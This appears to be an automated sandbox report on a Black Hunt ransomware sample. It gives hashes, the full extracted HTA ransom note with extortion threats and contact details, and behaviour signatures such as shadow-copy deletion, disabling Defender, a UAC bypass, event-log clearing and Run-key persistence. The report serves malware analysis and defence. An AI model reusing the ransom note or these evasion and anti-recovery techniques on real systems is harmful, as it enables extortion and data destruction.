67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf

Analysis

max time kernel
117s
max time network
122s
platform
windows7_x64
resource
win7-20231129-en
resource tags

arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
submitted
18/01/2024, 23:38

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General

Target

67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe
Size

707KB
MD5

0f69ed18329a57d00f252556c051b3f9
SHA1

a484ac6ac33fb09bfbd9b3e6e798dc0639271f9b
SHA256

67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf
SHA512

4e7636a1d193f5920b668864e656c5c003406f9e3998ea37a91a422d043910dff2f873b74db042c155ea5ad6fcff72068e90cfb694af1abfba6f25fe01e228a8
SSDEEP

6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza1f8avnh:6uaTmkZJ+naie5OTamgEoKxLW+0h

Score

10^/10

evasion persistence ransomware trojan

Malware Config

Extracted

Path

C:\ProgramData\#BlackHunt_ReadMe.hta

Ransom Note

<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="x-ua-compatible" content="ie=9"><meta charset="UTF-8"><HTA:APPLICATION icon="#" WINDOWSTATE="maximize" scroll="no" SELECTION="yes" contextmenu="no" caption="yes" SYSMENU="no" innerBorder="yes" SHOWINTASKBAR="yes" singleInstance="yes" /><meta name="viewport" content="width = device-width,initial-scale=1.0"><style>a,abbr,acronym,address,applet,article,aside,audio,b,big,blockquote,body,canvas,caption,center,cite,code,dd,del,details,dfn,div,dl,dt,em,embed,fieldset,figcaption,figure,footer,form,h1,h2,h3,h4,h5,h6,header,hgroup,html,i,iframe,img,ins,kbd,label,legend,li,mark,menu,nav,object,ol,output,p,pre,q,ruby,s,samp,section,small,span,strike,strong,sub,summary,sup,table,tbody,td,tfoot,th,thead,time,tr,tt,u,ul,var,video{margin:0;padding:0;border:0;font-size:100%;font:inherit;vertical-align:baseline}article,aside,details,figcaption,figure,footer,header,hgroup,menu,nav,section{display:block}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:'';content:none}table{border-collapse:collapse;border-spacing:0}</style><style>body,html{background-color:#dadada;font-family:'Segoe UI',Tahoma,Geneva,Verdana,sans-serif;font-weight:600;font-size:16px}a{text-decoration:none;color:#0483ab}div.header{margin-top:15px;margin-bottom:5px;width:100%}div.header h1{width:97%;text-align:left;font-size:30px;font-weight:900;margin:auto}div.header h1 span#black{display:inline-block;color:#000;margin-right:0;padding:2px 2px}div.header h1 span#hunter{display:inline-block;color:#e90303;background-color:#000;padding:2px 8px;margin-left:0}div.header h1 span#hunter span#version{font-size:12px}div.message div.head-encrypted-msg{width:100%}div.message div.head-encrypted-msg h1{font-size:330%;width:97%;margin:auto;text-align:center;font-weight:700}div.message div.head-encrypted-msg h1 span{display:inline-block;color:#000;background-color:#e90303;padding:0 8px 0 8px;margin-right:3px}div.message div.head-attention-msg{width:97%;margin:auto;text-align:center;margin-top:1%;border:1px solid #e90303;background-color:#f1caca;border-radius:5px;font-size:250%;padding-top:10px;padding-bottom:10px}div.message div.head-attention-msg p{margin-bottom:.5%}div.message div.head-attention-msg p span{color:#e90303}div.content{margin:auto;margin-top:2%}div.content div.content-head-msg{font-size:32px;text-align:left;font-weight:600}div.content div.content-boxes{margin:auto;margin-top:2%}div.content div.box{width:96%;margin:auto;border-radius:5px;margin-bottom:30px}div.content div.content-left-box{background-color:#c5cfd8;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #1878cf}div.content div.content-left-box h3.left-box-title{background-color:#1878cf;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-left-box div.content-contact-directly *{font-weight:600!important;line-height:1.4em}div.content div.content-left-box div.content-contact-directly h4{font-size:24px;font-weight:500;margin-top:8px}div.content div.content-left-box div.content-contact-directly h4#tox{font-weight:600;display:inline-block;margin-left:3px}div.content div.content-left-box div.content-contact-directly div.tox-id{margin-left:6%}div.content div.content-left-box div.content-contact-directly h4#tox-id{font-size:24px}div.content div.content-left-box div.content-contact-directly p#tox-id-p{font-size:16px}div.content div.content-left-box div.content-contact-directly h4#download-tox{display:inline-block;margin-left:6%}div.content div.content-left-box div.content-contact-directly p#download-tox-p{display:inline-block}div.content div.content-left-box div.content-contact-directly h4#email{display:inline-block;font-weight:600;margin-left:3px}div.content div.content-left-box div.content-contact-directly p#email-p{display:inline-block;font-size:24px;margin-left:8px}div.content div.content-left-box div.content-contact-directly h4#user-id{font-weight:500;margin-left:3px}div.content div.content-left-box div.content-contact-directly h4#user-id span{color:#e90303}div.content div.content-left-box div.content-contact-tor{margin-top:50px;font-weight:600!important}div.content div.content-left-box div.content-contact-tor h3{font-size:24px}div.content div.content-left-box div.content-contact-tor h3 span{color:#e90303}div.content div.content-left-box div.content-contact-tor div.content-tor-inside{margin-left:6;margin-top:10px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p{margin-top:8px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p img{position:relative;bottom:-3px}div.content div.content-right-box{background-color:#efb0b0;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #e90303}div.content div.content-right-box h3.right-box-title{background-color:#e90303;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-right-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p span{color:#e90303;font-weight:700;font-size:24px}</style><title>Black Hunt</title></head><body><div class="header"><h1><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAIMAAAAWCAYAAADjNi+WAAAACXBIWXMAAC4jAAAuIwF4pT92AAALpWlUWHRYTUw6Y29tLmFkb2JlLnhtcAAAAAAAPD94cGFja2V0IGJlZ2luPSLvu78iIGlkPSJXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQiPz4gPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iQWRvYmUgWE1QIENvcmUgNi4wLWMwMDIgNzkuMTY0NDYwLCAyMDIwLzA1LzEyLTE2OjA0OjE3ICAgICAgICAiPiA8cmRmOlJERiB4bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPiA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0RXZ0PSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VFdmVudCMiIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczpwaG90b3Nob3A9Imh0dHA6Ly9ucy5hZG9iZS5jb20vcGhvdG9zaG9wLzEuMC8iIHhtbG5zOnRpZmY9Imh0dHA6Ly9ucy5hZG9iZS5jb20vdGlmZi8xLjAvIiB4bWxuczpleGlmPSJodHRwOi8vbnMuYWRvYmUuY29tL2V4aWYvMS4wLyIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHhtcDpDcmVhdGVEYXRlPSIyMDIyLTEwLTEzVDEyOjMyOjAyKzAzOjMwIiB4bXA6TWV0YWRhdGFEYXRlPSIyMDIzLTA0LTA3VDA0OjIxOjI1KzA0OjMwIiB4bXA6TW9kaWZ5RGF0ZT0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgZGM6Zm9ybWF0PSJpbWFnZS9wbmciIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6NGRiOTQ5OGItYTg5Mi0yMTRjLTliYzgtZTZlMDM3ZTYzYmJkIiB4bXBNTTpEb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6ZGVlODIyNjgtMDA3Ni0wNDQ2LWFjMGEtMzk2OTY3MzA0YTdjIiB4bXBNTTpPcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQyMWY2MmY3ZWI1IiBwaG90b3Nob3A6Q29sb3JNb2RlPSIzIiBwaG90b3Nob3A6SUNDUHJvZmlsZT0ic1JHQiBJRUM2MTk2Ni0yLjEiIHRpZmY6T3JpZW50YXRpb249IjEiIHRpZmY6WFJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6WVJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6UmVzb2x1dGlvblVuaXQ9IjIiIGV4aWY6Q29sb3JTcGFjZT0iMSIgZXhpZjpQaXhlbFhEaW1lbnNpb249IjQ0OSIgZXhpZjpQaXhlbFlEaW1lbnNpb249Ijg5Ij4gPHhtcE1NOkhpc3Rvcnk+IDxyZGY6U2VxPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0iY3JlYXRlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDoyNzIzMDY2Ny1kMzRkLWUyNGYtYmU1NS0wNDIxZjYyZjdlYjUiIHN0RXZ0OndoZW49IjIwMjItMTAtMTNUMTI6MzI6MDIrMDM6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIvPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0ic2F2ZWQiIHN0RXZ0Omluc3RhbmNlSUQ9InhtcC5paWQ6NzU5MzVkMTMtYjM0OS02ZTRiLWIwODctYzc5ZTJmZGNiNzgwIiBzdEV2dDp3aGVuPSIyMDIyLTEwLTEzVDEyOjMyOjE0KzAzOjMwIiBzdEV2dDpzb2Z0d2FyZUFnZW50PSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHN0RXZ0OmNoYW5nZWQ9Ii8iLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249InNhdmVkIiBzdEV2dDppbnN0YW5jZUlEPSJ4bXAuaWlkOmJiMmZiMmMyLWRjNDUtMzE0Yy1iMmQxLWRjNzFlZGUwNWJlYSIgc3RFdnQ6d2hlbj0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgc3RFdnQ6c29mdHdhcmVBZ2VudD0iQWRvYmUgUGhvdG9zaG9wIDIxLjIgKFdpbmRvd3MpIiBzdEV2dDpjaGFuZ2VkPSIvIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJjb252ZXJ0ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImZyb20gYXBwbGljYXRpb24vdm5kLmFkb2JlLnBob3Rvc2hvcCB0byBpbWFnZS9wbmciLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249ImRlcml2ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImNvbnZlcnRlZCBmcm9tIGFwcGxpY2F0aW9uL3ZuZC5hZG9iZS5waG90b3Nob3AgdG8gaW1hZ2UvcG5nIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJzYXZlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDo0ZGI5NDk4Yi1hODkyLTIxNGMtOWJjOC1lNmUwMzdlNjNiYmQiIHN0RXZ0OndoZW49IjIwMjMtMDQtMDdUMDQ6MjE6MjUrMDQ6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIgc3RFdnQ6Y2hhbmdlZD0iLyIvPiA8L3JkZjpTZXE+IDwveG1wTU06SGlzdG9yeT4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6YmIyZmIyYzItZGM0NS0zMTRjLWIyZDEtZGM3MWVkZTA1YmVhIiBzdFJlZjpkb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6YTU3NzljMGQtYzI3Zi05ZjQ2LWJmMjgtYjQ2MzIzZjQ5ZjQxIiBzdFJlZjpvcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQyMWY2MmY3ZWI1Ii8+IDxwaG90b3Nob3A6VGV4dExheWVycz4gPHJkZjpCYWc+IDxyZGY6bGkgcGhvdG9zaG9wOkxheWVyTmFtZT0iSHVudCAgIiBwaG90b3Nob3A6TGF5ZXJUZXh0PSJIdW50ICAiLz4gPHJkZjpsaSBwaG90b3Nob3A6TGF5ZXJOYW1lPSJCbGFjayAgIiBwaG90b3Nob3A6TGF5ZXJUZXh0PSJCbGFjayAgIi8+IDxyZGY6bGkgcGhvdG9zaG9wOkxheWVyTmFtZT0iMi4wIiBwaG90b3Nob3A6TGF5ZXJUZXh0PSIyLjAiLz4gPC9yZGY6QmFnPiA8L3Bob3Rvc2hvcDpUZXh0TGF5ZXJzPiA8L3JkZjpEZXNjcmlwdGlvbj4gPC9yZGY6UkRGPiA8L3g6eG1wbWV0YT4gPD94cGFja2V0IGVuZD0iciI/PvFKMOAAAAS2SURBVGje7Vq/ixNBFM55vQRtLLe2itoEbPIHpEghB4LBdFaB9Gm2sNhCIU0qm1x/RSz0EEHWw8LikFRBQXERUWOVSrSQdVbeHO++vPd2ci4BuQx83LGz82Pnfe+9b2ZSy/O8tsUWBc7Xx54uLYdvDt8dFhWj6Pfzf4KvDq+F9fmnMnCIGaLaBgp9RIxjB5ChmG++xV88l8jQEBbWY0D1ql0A9dpmSl0aO4AMj7YkOMFDiQxxQMOZQIoWvJPVNldWxg5IE7sOr7YkOMEdiQxpYOMleD6G3OkGyYAEngaQ4YrDF94u293NF4Tif17XdFiw+qMLFzZusGRnJx8Tug4V9v2rcG6JDEshCqTC85w80pcJ1MVGSG+dQU/4dlKamuLYAWS46fA71Nh9t/i8flytMUrRhvErJsMHh0tIhkh4kRtjaZBhZtR5LYJRZ0Tg0QZLT+g7o+e+ZDg2fVhDmPOI2txbx9hjqO9vmAz7jpx8/Kja/p8yIX5SOkJUsMgQBYrHnhJZECmMV5ayIk08KkSYsP5H1mKj5x1BfZORqKjzGFK7JrXx2GeRhj9vU9jPICp5Yw+pf17v3/HtKyDDA4kMsWCcFpEkVTysTDw2AomAqWVW8m7PGLsuRIsJ+9gdhxeWsdHzND2hkUiLNF14jkb2SOj9A+gfUVGE2JPIkJ7BaGXiMRWEZ0fI8zk913Y0MRl+AilCIjASaQaa4bLDR/7OQvE8D153CF4uGUdLKwk81+DJc2yQYQ4i94z46XBDIkNoKEc9oInHhtC+YaSWSJlHbAjLacA2uA5kuEYKWhRnoYZCEnHjaCRBTy8iQ5EK0Oh8DGzTrlavvPUpnZMhUrwxViJGI0A8xoYGaQgRQwr7ZYdXWdn2V9hN3OXvDdckg08FSCIeMTKFJMeBkWTIDD6H8SsWp0/gJFcUjyks+sjwVs14qdGmp4wXl8yj7ORxhbQCGRJLPBaeOGZ7+rmSp4eKLsBtKieJtn09VLw/WuN8oyBpkYaaQl1EKaoA6IxEIkNsCESpPg4QjxYZNHKtQ4ZWABkmAhmeWeIR+9BSwYEiHoeB4pHvMDTv7waeb3AyoZaIICIdnybUnkSGVFHrPoVgOB4o4jE1yDAytERH6Y+fdDYgZcTKLmOp3VNQ+/easWGhzFSAJCq8rg/bRE6SREkFlvePDQLhPIc0NpLBj8ujHEWHHw7XJTJoJ49ZyVF0bGz7UkWA5oZ4lIiSMV0yNcTjiD4Io86AkeEqLYLoeQew2OjlCfPMo5JtH6YVLRX0DYOPBT1T9COdQPq5Yp0ft8nmTHOaO1xEMkRrio5eiXfGa14RL9e8H+kEnDyKF1eu3JK8RjK2lQpCycC9VEsF1ummJm4xQnjdM6eIE9HcI/YN+3R4xeb0WPgpwIp41DANuK3kZKgrh0cTMHgqCMOZQZxO2bW1QJQO+91DkLEl9W8dYftQzI3r04qVCrTTTW2OIakkoZTRpksthWz3JTJEZFQLZVfIIzJyDISpU4RI2cGR995WyaVVj/pN6W+Ppac6zhGEIn5TRM9fVrk1a1Kq6a6q9MovqroM2hy6bDfRFN4Bot1eIcM5+9nbG4dPW9TekX46v2TYwsYf/4cvUeVs4qUAAAAASUVORK5CYII= " alt=""></h1></div><div class="message"><div class="head-encrypted-msg"><h1>YOUR<span>WHOLE NETWORK</span>HAS BEEN PENETRATED BY<span>Black Hunt</span>!</h1></div><div class="head-attention-msg"><p>We also have uploaded your sensitive data, which we Will leak or sell in case of no cooperation!</p><p><span>Restore your data possible only buying private key from us</span></p></div></div><div class="content"><div class="content-boxes"><div class="content-right-box box"><h3 class="right-box-title">ATTENTION</h3><p>remember, there are many middle man services out there pretending that they can recover or decrypt your files , whom neither will contact us or scam you, Remember we are first and last solution for your files otherwise you will only waste money and time</p><p>trying to decrypt your files without our decryptor and through third party softwares will make your files completely useless, there is no third party decryptor since we are the only key holders</p><p>we have uploaded many critical data and information from your machines , we won't leak or sell any of them in Case of successful Corporation, however if we don't hear from you in 14 days we will either sell or leak your data in many forums</p><p></p><p>Remain all of your files untouched, do not change their name, extension and...</p></div><div class="content-left-box box"><h3 class="left-box-title">CONTACT US</h3><p>Your system is offline. in order to contact us you can email this address<span> [email protected] </span>this ID (<span> PNMpuYnDcw3on2qj </span>) for the title of your email.</p><p>If you weren't able to contact us whitin 24 hours please email:<span> [email protected] </span></p><p>Check your data situation in<a href="#"><span> http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion </span></a></p></div></div></div></body></html>

Emails

[email protected]

URLs

http-equiv="x-ua-compatible"

http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion

Signatures

Deletes NTFS Change Journal 2 TTPs 2 IoCs

The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.

ransomware

Inhibit System Recovery

T1490

Data Destruction

T1485

pid	Process
1128	fsutil.exe
1164	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe

Clears Windows event logs 1 TTPs 5 IoCs

evasion ransomware

Indicator Removal

T1070

pid	Process
3568	wevtutil.exe
3584	wevtutil.exe
3648	wevtutil.exe
3488	wevtutil.exe
3728	wevtutil.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
800	bcdedit.exe
2996	bcdedit.exe
2736	bcdedit.exe
2824	bcdedit.exe

Renames multiple (2884) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 2 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
1904	wbadmin.exe
2340	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Deletes itself 1 IoCs

pid	Process
1608	cmd.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe

Enumerates connected drives 3 TTPs 27 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\T:	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe
File opened (read-only)	\??\U:	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe
File opened (read-only)	\??\I:	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe
File opened (read-only)	\??\P:	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe
File opened (read-only)	\??\N:	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe
File opened (read-only)	\??\M:	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe
File opened (read-only)	\??\Y:	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe
File opened (read-only)	\??\S:	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe
File opened (read-only)	\??\H:	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe
File opened (read-only)	\??\J:	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe
File opened (read-only)	\??\E:	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe
File opened (read-only)	\??\A:	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe
File opened (read-only)	\??\F:	fsutil.exe
File opened (read-only)	\??\R:	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe
File opened (read-only)	\??\G:	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe
File opened (read-only)	\??\K:	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\W:	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe
File opened (read-only)	\??\V:	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe
File opened (read-only)	\??\M:	fsutil.exe
File opened (read-only)	\??\Q:	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe
File opened (read-only)	\??\O:	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe
File opened (read-only)	\??\L:	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe
File opened (read-only)	\??\Z:	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe
File opened (read-only)	\??\X:	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe
File opened (read-only)	\??\B:	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe
File opened (read-only)	\??\F:	vssadmin.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
2	ip-api.com

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\#BlackHunt_BG.jpg"	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File created	C:\Program Files\Google\#BlackHunt_Private.key	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\PST8PDT	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe
File created	C:\Program Files (x86)\Google\Update\Download\#BlackHunt_ReadMe.hta	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe
File opened for modification	C:\Program Files\7-Zip\Lang\bg.txt	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\#BlackHunt_Private.key	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe
File created	C:\Program Files (x86)\Uninstall Information\#BlackHunt_Private.key	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe
File opened for modification	C:\Program Files\7-Zip\Lang\gu.txt	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Pacific\Wake	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe
File created	C:\Program Files\VideoLAN\VLC\locale\zh_TW\#BlackHunt_ReadMe.hta	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\alt-rt.jar	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\win\#BlackHunt_ReadMe.txt	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Travel\16_9-frame-highlight.png	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.swt.nl_ja_4.4.0.v20140623020002.jar	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe
File opened for modification	C:\Program Files\Java\jre7\lib\currency.data	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ja\LC_MESSAGES\#BlackHunt_Private.key	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\16to9Squareframe_VideoInset.png	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Africa\Casablanca	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe
File opened for modification	C:\Program Files\Java\jre7\release	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe
File created	C:\Program Files\VideoLAN\VLC\locale\br\#BlackHunt_Private.key	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\playlist\newgrounds.luac	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\stream_out\#BlackHunt_ReadMe.hta	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\HueCycle\#BlackHunt_Private.key	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe
File opened for modification	C:\Program Files\DVD Maker\bod_r.TTF	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Travel\16_9-frame-background.png	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.emf.common_2.10.1.v20140901-1043\META-INF\#BlackHunt_Private.key	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-netbeans-core-io-ui.jar	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\ReadOutLoud.api	67b1a8a2156cec10c40b02c443af24f8bf9211a547348508eb97c22b735c19bf.exe
